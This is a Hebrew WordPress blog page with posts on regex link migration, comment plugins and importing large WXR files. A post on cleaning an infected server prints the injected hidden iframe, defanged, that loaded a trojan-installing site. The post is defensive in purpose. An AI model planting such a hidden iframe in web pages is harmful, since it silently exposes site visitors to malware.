קידום אתרים בוורדפרס: כיצד להשתמש ברג'אקס (regex) כדי לשנות *המון* קישורים בעלי מבנה דומה

רקע

במזל טוב, האתר "רשימות" התחילו לאפשר העברה של הבלוגים של הכותבים ברשימות למערכת וורדפרס (באיכסון עצמי, או באיכסון של wordpress.com).

לכבוד זאת, סייעתי לאחי שוקי להעביר את הבלוג שלו לבלוג עצמאי חדש ונוצץ: "שוקי 101".

האתגר: שימור קישורים פנימיים

אבל המעבר הציב אתגר SEO: כלי ההמרה של רשימות מאפשר להעביר פוסטים מהבלוג הישן לבלוג החדש, אבל אם בבלוג הישן היה לכם לינקים שהפנו אל האתר הישן (המכונים גם internal links), הם ימשיכו לקשר לאתר הישן (ולא לחדש) גם לאחר המעבר..
כלומר – לאחר המעבר מרשימות לבלוג אחר, הלינקים הפנימיים של הבלוג שלכם יהפכו להיות לינקים חיצוניים לבלוג הישן שלכם. מבחינת SEO זה מאד לא רצוי.

אז איך פותרים זאת?
אפשרות אחת היא לעבור פוסט פוסט, לחפש לינקים ולתקן את כולם. בהתחשב בזה שאחי שוקי כותב את הבלוג שלו משנת 2003 וכתב קרוב ל- 1,200 פוסטים, החלטנו בפה אחד שנוותר על הרעיון הזה. אז מה עוד אפשר לעשות?

הערה שחשוב להדגיש

לאחר פירסום הפוסט פנה אלי אורי ברוכין וכתב לי הערה שחשוב לי שתועבר הלאה (בתימצות – הכל יהיה טוב), ובאריכות:

גם אם הלינקים החדשים שלהם אינם נראים מבוססי הקוד, הרי שייצאנו את כל הפוסטים מלכתחילה עם הקוד הזה, כך שגם לינק עם קוד עובד, מלכתחילה, אצל כולם. על זה יהיו מבוססות ההפניות האוטומטיות מהאתר הישן.
זה אומר גם שמי שלא ישנו – הלינקים הפנימיים פשוט יעבירו אל ההפנייה ואז בחזרה ללינק המתאים בבלוג החדש – אז אין מה לדאוג. לאלה ש-SEO חשוב להם במיוחד, מומלץ להשתמש בפתרון שלך, אבל לשאר עדיף לא להסתבך עם זה.

אני מבקש להדגיש זאת שוב: גם אם לא תשתמשו במה שאני מתאר בבלוג שלי, הרי שבעתיד (הנראה לעין), אנשים שילחצו על קישור יגיעו לאתר רשימות ומשם יופנו חזרה לבלוג שלכם. כך שמבחינת גולשים, אתם תהיו בסדר בכל מקרה.
הייתרון בשיטה שאני מציע הוא לאלו מכם שמעניין אותם כל הקטע הזה של SEO (וגם כן, אף אחד לא יודע באמת עד כמה זה קריטי. אבל לנו זה נראה מספיק מעניין כדי לבדוק ולגלות איך עושים זאת – גם אם לא תעשו את מה שאני מציע, יהיה בסדר)

הפתרון: החלפת לינקים באופן מובנה (בעזרת regex)

יש כמה שלבים לפתרון הנוכחי:
0) בצעו גיבוי מלא של הבלוג שלכם!!! (wp-dbmanager הוא פתרון טוב בעיני, כי הוא מאפשר לשחזר גיבויים בקלות רבה)
1) עליכם להתקין את תוסף הוורדפרס (הנהדר): Search Regex
2)
היות ושוקי הוא מקדם אתרים משכמו ומעלה, הוא חזה מראש את הבעיה הזו ודאג (כך הבנתי) שמספר הפוסט שהיה לו בבלוג ברשימות יהיה גם מספר הפוסט שלו בבלוג וורדפרס החדש שלו.
כך לדוגמא, הלינק של פרוייקט הטחינה הגדול (סדרת הפוסטים המיתולוגית שהובילה להקמה של בלוג החומוס), הייתה בבלוג ברשימות:
http://notes.co.il/shooky/8508.asp
ובבלוג החדש היא נהפכה להיות:
http://www.shooky101.com/?p=8508

המבנה הקבוע הזה מאפשר לנו ליצור מערכת כללים שימירו את הלינקים הפנימיים מהבלוג הישן, להיות לינקים פנימיים לבלוג החדש. וכך עשיתי זאת.

כעת עליכם להכנס לתפריט ה "search regex" תחת "כלים" ולהתחיל לבצע החלפות. סמנו את תיבת ה – regex. ובחרו ב post content בתור ה source. כעת מלאו את הפרטים באופן הבא (החליפו את שם האתר של שוקי שמופיע בדוגמאות, לשם האתר שלכם)
שלב א: (החלפת כל פעם ששוקי נתן לינק לעמוד הבית שלו), מלאו את
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/"@
החלפה ב: "http://www.shooky101.com/"

תלחצו על הכפתור "replace" כדי לראות מה התוצאות (כך שאין שום בעיות יוצאות דופן). אם הכל הולך כשורה לחצו על "replace and save" כדי לשמור את התוצאות לבסיס הנתונים.

שלב ב: (אותו הדבר אבל בלי סלש)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky"@
החלפה ב: "http://www.shooky101.com/"

שלב ג: (להחליף את כל המקרים שיש בהם לינק עם מספר, ללינק החדש כאשר המספר נכנס למקום המתאים בלינק החדש = קסם!)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/(.*[0-9])\.asp"@
החלפה ב: "http://www.shooky101.com/?p=$1"

שלב ד: (אותו הדבר, אבל למקרים שבהם לא היה סיומת asp ללינק המקורי)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/(.*[0-9])"@
החלפה ב: "http://www.shooky101.com/?p=$1"

שלב ה: (פותר עוד כמה מקרים שלא ברור לי למה הם לא נתפסו קודם לכן)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/(.*?)\.asp"@
החלפה ב: "http://www.shooky101.com/?p=$1"

שלב ו: (לבדוק ללא סימן ה regex, האם פיספסנו משהו)
חיפוש של: http://notes.co.il/shooky
(בשלב הזה מצאתי כאלו מקרים כאשר היו פגמים בלינק)

למהדרים, אפשר גם לטפל קצת בלינקים שבתגובות. אם תבחרו בתור source את comment author URL,
תוכל לבצע משהו כמו זה (שימו לב שהפעם אין "גרשיים", כי אף פעם לא משתמשים בהם בתגובות. זה יוצר קצת סיפור, שימו לב לסדר שבו אני מבצע את הפעולות!):

החלפה של: @http://(?:www\.)?notes\.co\.il/shooky/(.*[0-9]).asp@
ב: http://www.shooky101.com/?p=$1

ואז –

החלפה של: @http://(?:www\.)?notes\.co\.il/shooky@
ב: http://www.shooky101.com/

3) תתקינו את התוסף Broken Link Checker – כדי למצוא ולתקן עוד כל מיני מקרים (מוזרים לרוב) של לינקים שבורים/לא-תיקניים.

מקווה שעזרתי לכם (אם כן, אני אוהב לקבל תגובות בבלוג, לינקים ומסאז' טוב…)

תוסף התגובות של וורדפרס – אינטנס דיבייט (IntenseDebate) – שוחרר בעברית!

לבעלי בלוגי הוורדפרס שביניכם שרצו הוספה ליכולת של מערכת התגובות שלהם, התוסף (נתמך האוטומאטיק) IntenseDebate פירסמו (אתמול) שכעת הם תומכים בעברית (ויישור מימין לשמאל). תודה ליואב על עבודת ההתאמה והתירגום.

אחת הייתרונות של התוסף (שאינני מכיר דרך אחרת להשיג), היא לאפשר למשתמשים שלכם "להירשם" למערכת התגובות באמצעות משתמש הטוויטר שלהם. ואז יש להם אופציה לפרסם לטוויטר שלהם את התגובה שהם פירסמו אצלכם בבלוג.

מכירים עוד "ייתרונות מנצחים" עבור המערכת הזו, התחלתם להשתמש באינטנס דיבייט? אנא ספרו לי על זה בתגובות 🙂

אבטחה בוורדפרס – כיצד להסיר iframe injections באמצעות SSH

http://weblogtoolscollection.com/archives/2009/06/15/security-and-anti-spam-plugins-for-wordpress/(זהירות: פוטס טכני לחובבי הוורדפרס מבינינו)

אז לאחר שגיליתי שהבלוג שלי נדבק בווירוס, יצאתי לחפש אחר פתרון ובפוסט זה אני מביע תודה לכל אלו שעזרו ומקווה לסייע לאחרים בעתיד שיתקלו בבעיות דומות.

הבעיה הייתה שאיכשהו (כנראה פריצה לאחד היוזרים של ה- FTP של השרת שלי) איזשהו בוט נכנס לשרת והכניס לקבצים שבשרת שורת קוד שטוענת אתר (iframe) בתוך כל אחד מהאתרים שלי, האתר הזה מתקין איזשהו סוס טרויאני (לא ברור איזה), וזיהם את רוב (אם לא כל) הקבצים שעל השרת.

הקוד הזדוני נראה כך (הדרך שבה הדבקתי אותו אמורה לסרס את פעולת הקוד, אבל לא הייתי ממליץ להכנס ללינק ללא אנטיווירוס מותקן):

<iframe src="http:// m-analytics . net /qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

כיצד מצאתי את הפתרון:

  1. פניתי לחברי בפייסבוק, טוויטר, קבוצת העזרה של וורדפרס העולמית וקבוצת הדיון של וורדפרס בעברית לבקש עזרה. אף אחד לא נתן את הפתרון המדויק, אבל שילוב של הפתרונות הביא לסיום הפרשה. אני רוצה להודות לדותן מזור ואיתן ברקט (ששילוב הטיפים שלהם הוא שפתר לי את רוב התעלומה – ראו סעיף 5), לצפריר ריהן (שנתן טיפים כלליים טובים),  לתומר כהן, לאלעד (על הרצון הטוב), ניצן בן-נון (שנתן כיוונים מעולים והפתרון שלו כמעט עבד, אבל לא הצלחתי ליישם אותו כלשונו), לדוד גור ולאריק וגליה (שרצו לעזור, אבל לא הספיקו לעזור לפני האחרים).  (דוד, ניצן וגליה – איני יודע מה הלינקים לבלוגים שלכם, תשלחו ותקבלו)
  2. כדי לוודא בכל שלב של הניסוי האם אני מצליח או לא, השתמשתי באתר "הסר מסכות טפילים" שמגלה האם יש באתר כלשהו עדות ללינקים חבויים או דברים שמעלים חשד של פריצה לאתר.
  3. התקנתי על הוורדפרס את התוסף WordPress Exploit Scanner אליו הגעתי דרך הפוסט Security And Anti-spam Plugins For WordPress – זהו תוסף שמאפשר לגלות קבצים "מזוהמים" בוורדפרס. מה שאיפשר לי לזהות איפה נמצאו הלינקים שיש להוריד.
  4. מצאתי באינטרנט מישהו אחר שנתן הוראות (שלא בדיוק עבדו) לפתרון בעיה דומה של החדרת קוד זדוני של iframe, http://fieldsmarshall.com/htmliframe-inf-wordpress-infection/ שם קיבלתי אישור שהכיוון הכללי הוא הנכון.
  5. קיבלתי הפניה לאתר (המצויין) http://www.commandlinefu.com שאפשר בתוכו למצוא אוצרות בלומים של איך לעשות מה עם פקודות ב- SSH (שזה בדיוק מה שנזדקקתי לו) (את זה שלח לי דותן, ובשילוב עם העזרה הכללית בקוד הרג'אקס דרך איתן – הבעיה נפטרה)

מהו הפתרון

להמשיך לקרוא אבטחה בוורדפרס – כיצד להסיר iframe injections באמצעות SSH

חיבור בין גוגל קונקט לוורדפרס (פלאגין)

(פוסט זה מוקדש לעומר פרצ'יק ששאל איך)

תזכורת למי שלא יודע מה זה שגוגל-חבר-חבר (Google Connect):

הרגע גיליתי שגוגל קונקט שיחררו פלאגין שמאפשר לבלוגרי וורדפרס להציע למשתמשים שלהם להתחבר למערכת התגובות דרך המערכת של גוגל-קונקט. (זאת בהמשך להרחבת ה- API שלהם)
מדובר עוד בשירות לא בשל, אך שווה לתת עליו את העין.

עידכון (28.3.09): הבלוגר יוסט שיחרר פלאגין וורדפרס שמקל על התקנת המערכת (הוא מאפשר להגדיר אותו דרך ממשק הוורדפרס במקום ברמת הקוד). ניתן להוריד אותו מכאן.

צעדי התקנה:

 

  1. תצטרפו לגוגל פרנד קונקט (אם עוד לא עשיתם זאת) כאן. (ותעלו את כל הקבצים שצריך, ההוראות שם)
  2. כנסו למערכת וכשתכנסו להגדרות של settings, אז יהיה לכם את ה- ID שלכם כתוב ב URL
  3. תורידו את הפלאגין
  4. תעלו את הפלאגין לתקיית הפלאגינים שלכם.
  5. תכנסו ל settings => friendconnect – ותכניסו את מספר ה- ID שלכם.
  6. זהו

כפי שכתוב באתר של יוסט, הייתרון העיקרי של הפלאגין יהיה עבור אתרים שמגבילים את התגובות למשתמשים רשומים בלבד. כך המשתמשים יוכלו להירשם בזריזות באמצעות סיסמאת הגוגל שלהם (ואנחנו הבלוגרים חוסכמים מעצמנו הרבה ספאם). 

להסברים נוספים, כנסו לאתר של יוסט.


אם אתם רוצים לנסות, הנה הצעדים (הצעדים באנגלית ):
1)
תורידו את הקובץ, לגירסאות עתידיות תלכו ללינק הבא להורדת הקובץ: http://code.google.com/p/google-friend-connect-plugins/downloads/list
2) תוציאו ממנו את התיקיה src ותשנו את השם שלה ל – fc_plugin.
3) תפתחו את הקובץ fc_plugin.php ותבצעו שני שינויים:
3.1) הראשון הוא למצוא את השורה google.friendconnect.container.setParentUrl() ולוודא שהקישור שיש שם הוא לאיפה שהכנסתם את קבצי ה canvas.html שלכם. (אצלי זה בשורש, אז פשוט הכנסתי / )
3.2) תמצאו את הפונקציה fc_get_site_id – ותכניסו שם את ה- ID של האתר שלכם. (אני מצאתי אותו על ידי התחברות למערכת של גוגל קונקט, ובבחירת האתר שלי, אפשר לראות את ה- ID ב- URL –
לינק)
4) תעלו את התיקיה לתקיית ה plugins של הבלוג שלכם ותפעילו את התוסף.

ייתרונות: בלחיצת כפתור, משתמשים יכולים להתחבר לאתר שלכם, לקבל משתמש, ולהשאיר תגובות מזוהות.
חסרונות: המערכת עולה יחסית לאט. כבלוגר, האימייל של המשתמשים שאני רואה הוא: [email protected] (שלחתי מייל לעצמי לקישור הזה, אני לא יודע לאן הוא הגיע). אני מניח שה- [email protected] הוא האימייל האמיתי של המשתמש, אבל זה נראה לי הסתבכות שאיננה מובנת (אולי בעתיד נבין)

התוצאה הסופית נראית כך:

ייצוא וייבוא בלוגי וורדפרס – איך לייבא קבצי WXR גדולים (מעל 2MB)

אז נתבקשתי להעביר את הבלוג של "הכוסית עם אובססיית שואה" מהבלוגיה (המצויינת) של בלוגלי, לבלוג החדש של "יונית מוזס" שמאוכסן באופן עצמאי (ועל דומיין משל עצמו).
לאחר התקנת הוורדפרס, פניתי להעביר את הפוסטים והתגובות מהבלוג הישן של יונית לבלוג החדש. הורדתי את קובץ הייצוא של וורדפרס (קובץ XML, המכונה לעיתים גם בשם קובץ WXR ) מ: "עריכה וניהול" -> "יצוא". וקיבלתי קובץ בנפח של 7.5MB. והבעיה התחילה כשניסיתי לייבא את הקובץ לבלוג החדש של יונית.

הבעיה הראשונה היא שרוב השרתים לא מאפשרים להעלות (דרך ממשק הניהול של וורדפרס), קובץ שמשקלו עולה על 2MB. כך היה המקרה אצלי. יש לזה שתי פתרונות.
הפתרון הראשון הוא לשנות את ההגדרות של קובץ ה- PHP.INI שעל השרת שלכם. לרוב שירותי האיכסון הרגילים אין גישה ישירה לקובץ, אך לחלקם יש אפשרות לעידכון הגדרות עקיף. כך לדוגמא, בשימוש בשירותי האיכסון של site5 יש הסבר מקיף כיצד לעשות זאת אצלם (הנה הלינק להסבר). שם תרצו לעדכן את ההגדרות של שני פרמטרים בקובץ והם: post_max_size & upload_max_filesize ולשנות אותם מ- 2MB ל- 8MB. עקבתי אחר ההוראות וזה עבד.
אפשרות שניה (ובעיני המועדפת), היא להוריד את התוכנה 7ZIP ולכווץ את קובץ הייצוא לפורמט של gzip. זה, במקרה שלי, הקטין את גודל הקובץ מתחת ל- 2MB ואיפשר לי להעלות אותו לשרת. יש הטוענים ששינוי ההגדרות בקובץ ה- PHP.INI, היה הכרחי אף הוא בשביל שלב הפתיחה של הקובץ. לא טרחתי לשנות בחזרה את ההגדרות ל- 2MB ולבדוק אותם, אז ייתכן וצריך לבצע את שני השלבים בשביל להעלות את הקובץ לשרת, וייתכן ומספיק גם רק הצעד השני.
עוד טענה היא שניתן להעלות את הקובץ לשרת דרך ה- FTP (שזה כמובן נכון), אבל מה שלא מצאתי הוא איך, אחרי שמעלים את הקובץ לשרת, ניגשים אליו דרך ממשק ייבוא הפוסטים של וורדפרס. אם מישהו יודע איך, הוא מוזמן לחלוק עם כולנו בתגובות.

אחרי שהקובץ עלה – הגיע המחסום השני. מסתבר שזמן הטעינה של הפוסטים מהקובץ, על ידי ממשק הייבוא של וורדפרס, נתקע באמצע. ומקבלים משהו כזה:

הפתרון לשלב השני הגיע אלי בזכותו של אשף האופן-סורס תומר כהן. הוא הציע לפתוח את קובץ ה- WXR (אותו פתחתי עם notepad++ המומלץ), ולמצוא כל פעם את הפוסטים שהמערכת הצליחה לייבא, ולמחוק אותם מהקובץ. (כלומר, למחוק את החלקים שמתחלים ב: < item > ונגמרים ב- < / item > ). לדוגמא:

וואריאציה יותר אלגנטית לפתרון זה, הוא לפתוח את הקובץ, ולחלק אותו לכמה קבצים קטנים. כאשר תמיד יש להקפיד שבתחילת וסוף כל קובץ יופיעו –
בתחילתו:



including all info like category, tags, etc to just before the first 

בסופו:



ואחרי 8 (8! ), איטרציות כאלה, סוף סוף קיבלתי את המסך המבורך של סיום ייבוא הפוסטים:

השיטה הזו תסייע לכם להעביר בלוגים ממערכות וורדפרס-מיו, בלוגלי, wordpress.com, או בין בלוג מאוכסן עצמאית האחד לשני.

ולסיום: שוב תודה לתומר על הטיפ המושיע, ועוד תודה לאלעד (מבלוגלי) על הסבלנות הכללית וההפניה לבקשת העצה מתומר.